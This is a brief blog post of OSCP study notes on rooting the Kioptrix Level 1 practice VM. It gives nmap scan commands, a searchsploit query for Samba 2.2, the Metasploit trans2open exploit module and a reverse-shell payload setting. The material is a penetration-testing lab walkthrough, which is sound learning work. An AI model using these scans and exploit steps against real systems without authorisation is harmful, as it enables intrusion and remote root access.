OSCP Learning Notes - Exploit(1)

Gaining Root with Metasploit

Platform: Kali Linux, Kioptrix Level 1

1. Find the IP of Kioptirx

nmap 10.0.0.0/24 -n -sP -sn

2. Scan the Kioptrix server and analyst the result.

nmap -nvv -Pn- -sSV -p 22,80,111,139,443,1024 --version-intensity 9 -A -oN /root/kioptrix1_detailed.txt 10.0.0.20

3. Search samba exploit methods.

searchsploit samba 2.2

4. Open Metasploit.

msfconsole

5. Search and use the suitable module.

use exploit/linux/samba/trans2open

6. Set the metasploit options.

set rhost 10.0.0.20

 

7. Start the exploit but failed in the end.

exploit

 

8. Set the payload and Try gain.

set payload generic/shell_reverse_tcp

 

 Root the target server.

 

posted @ 2019-07-06 17:44  晨风_Eric  阅读(282)  评论(0编辑  收藏  举报